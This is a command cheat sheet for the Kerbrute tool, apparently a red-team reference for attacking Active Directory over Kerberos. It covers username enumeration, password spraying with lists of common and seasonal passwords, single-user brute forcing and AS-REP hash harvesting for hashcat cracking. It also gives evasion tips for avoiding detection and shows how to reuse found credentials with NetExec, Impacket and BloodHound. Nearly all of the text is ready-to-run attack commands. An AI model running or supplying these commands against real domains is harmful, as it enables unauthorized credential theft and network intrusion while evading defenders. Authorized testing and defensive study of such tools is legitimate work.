🌶 KERBRUTE

INSTALLATION#

# Download binary
# https://github.com/ropnop/kerbrute/releases

# Go install
go install github.com/ropnop/kerbrute@latest

BASIC SYNTAX#

kerbrute <command> [flags]

# Commands:
bruteuser      Bruteforce password for single user
bruteforce     Bruteforce users/passwords from files
passwordspray  Test single password against users
userenum       Enumerate valid usernames

DOMAIN SPECIFICATION#

-d, --domain DOMAIN     Target domain
--dc DC                 Domain controller IP/hostname

USER ENUMERATION#

BASIC ENUMERATION#

# Enumerate users from file
kerbrute userenum -d domain.local users.txt

# Specify DC
kerbrute userenum -d domain.local --dc 192.168.1.1 users.txt

# Save valid users
kerbrute userenum -d domain.local users.txt -o valid_users.txt

ENUMERATION OPTIONS#

kerbrute userenum -d domain.local users.txt
kerbrute userenum -d domain.local users.txt --dc dc01.domain.local
kerbrute userenum -d domain.local users.txt -o valid.txt
kerbrute userenum -d domain.local users.txt -t 50  # Threads

PASSWORD SPRAYING#

BASIC SPRAY#

# Single password against user list
kerbrute passwordspray -d domain.local users.txt 'Password123'

# Specify DC
kerbrute passwordspray -d domain.local --dc 192.168.1.1 users.txt 'Summer2024!'

# Save successful logins
kerbrute passwordspray -d domain.local users.txt 'Password123' -o valid_creds.txt

SPRAY OPTIONS#

kerbrute passwordspray -d domain.local users.txt 'Password123'
kerbrute passwordspray -d domain.local users.txt 'Password123' --dc dc01
kerbrute passwordspray -d domain.local users.txt 'Password123' -o creds.txt
kerbrute passwordspray -d domain.local users.txt 'Password123' -t 10  # Slower

USER BRUTEFORCE#

SINGLE USER#

# Bruteforce single user
kerbrute bruteuser -d domain.local passwords.txt username

# With DC
kerbrute bruteuser -d domain.local --dc 192.168.1.1 passwords.txt admin

BRUTEFORCE OPTIONS#

kerbrute bruteuser -d domain.local wordlist.txt administrator
kerbrute bruteuser -d domain.local wordlist.txt admin -o found.txt

COMBINED BRUTEFORCE#

USER/PASS LISTS#

# Bruteforce with user and password lists
kerbrute bruteforce -d domain.local combos.txt

# combos.txt format:
# user1:password1
# user2:password2
# user1:password2

# Or separate files
kerbrute bruteforce -d domain.local --users users.txt --passwords passwords.txt

COMMON OPTIONS#

-d, --domain        Target domain (required)
--dc                Domain controller
-o, --output        Output file for results
-t, --threads       Number of threads (default: 10)
-v, --verbose       Verbose output
--safe              Safe mode (stop on lockout detection)
--delay             Delay between requests (ms)
--downgrade         Downgrade encryption (RC4)
--hash-file         Output ASREP hashes to file

OUTPUT OPTIONS#

# Standard output
kerbrute userenum -d domain.local users.txt

# Save to file
kerbrute userenum -d domain.local users.txt -o valid_users.txt

# Verbose
kerbrute userenum -d domain.local users.txt -v

SAFE MODE#

# Stop if lockout detected
kerbrute passwordspray -d domain.local users.txt 'Password123' --safe

# With delay (avoid lockout)
kerbrute passwordspray -d domain.local users.txt 'Password123' --delay 1000

AS-REP ROASTING#

# Get AS-REP hashes during enumeration
kerbrute userenum -d domain.local users.txt --downgrade --hash-file asrep.txt

# Crack with hashcat
hashcat -m 18200 asrep.txt wordlist.txt

WORDLISTS#

USER ENUMERATION#

# Common usernames
administrator
admin
guest
krbtgt
svc_
service
backup
test

# Generate from names
# firstname.lastname
# f.lastname
# firstnamelastname

PASSWORD SPRAY#

# Common passwords
Password123
Password1
Welcome1
Summer2024
Winter2024
Company123
CompanyName1!

# Seasonal patterns
Season+Year+!
Month+Year+!

PRACTICAL WORKFLOWS#

INITIAL ENUMERATION#

# 1. Enumerate valid users
kerbrute userenum -d domain.local users.txt --dc 192.168.1.1 -o valid_users.txt

# 2. Check for AS-REP roastable
kerbrute userenum -d domain.local valid_users.txt --downgrade --hash-file asrep.txt

# 3. Password spray
kerbrute passwordspray -d domain.local valid_users.txt 'Summer2024!' --safe

SPRAY WORKFLOW#

# Start with common passwords
kerbrute passwordspray -d domain.local users.txt 'Password1' --safe -o found1.txt
kerbrute passwordspray -d domain.local users.txt 'Welcome1' --safe -o found2.txt
kerbrute passwordspray -d domain.local users.txt 'Company123' --safe -o found3.txt

# Be careful with lockout!
# Check password policy first

EVASION TIPS#

# Use delays to avoid detection
kerbrute passwordspray -d domain.local users.txt 'Password123' --delay 3000

# Lower thread count
kerbrute passwordspray -d domain.local users.txt 'Password123' -t 1

# Safe mode
kerbrute passwordspray -d domain.local users.txt 'Password123' --safe

# Spray during business hours (blend in)
# Limit attempts per account

INTEGRATION#

WITH CRACKMAPEXEC#

# After finding creds with kerbrute:
nxc smb dc -u found_user -p 'Password123'

WITH IMPACKET#

# Use found creds
GetUserSPNs.py domain.local/found_user:'Password123' -dc-ip 192.168.1.1

WITH BLOODHOUND#

# Collect data with found creds
bloodhound-python -u found_user -p 'Password123' -d domain.local -c All

TROUBLESHOOTING#

# DNS issues - use --dc with IP
kerbrute userenum -d domain.local --dc 192.168.1.1 users.txt

# Timeout issues
kerbrute userenum -d domain.local users.txt --timeout 10

# Verbose for debugging
kerbrute userenum -d domain.local users.txt -v

ALTERNATIVES#

# Nmap krb5-enum-users script
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=users.txt DC_IP

# GetNPUsers.py (for AS-REP)
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC_IP -format hashcat

# Rubeus (from Windows)
Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:domain.local

QUICK REFERENCE#

kerbrute userenum -d domain.local users.txt                    # Enum users
kerbrute userenum -d domain.local users.txt --dc DC_IP         # With DC
kerbrute passwordspray -d domain.local users.txt 'Pass123'     # Spray
kerbrute passwordspray -d domain.local users.txt 'Pass' --safe # Safe mode
kerbrute bruteuser -d domain.local passwords.txt admin         # Brute user
kerbrute userenum -d domain.local users.txt --hash-file x.txt  # Get AS-REP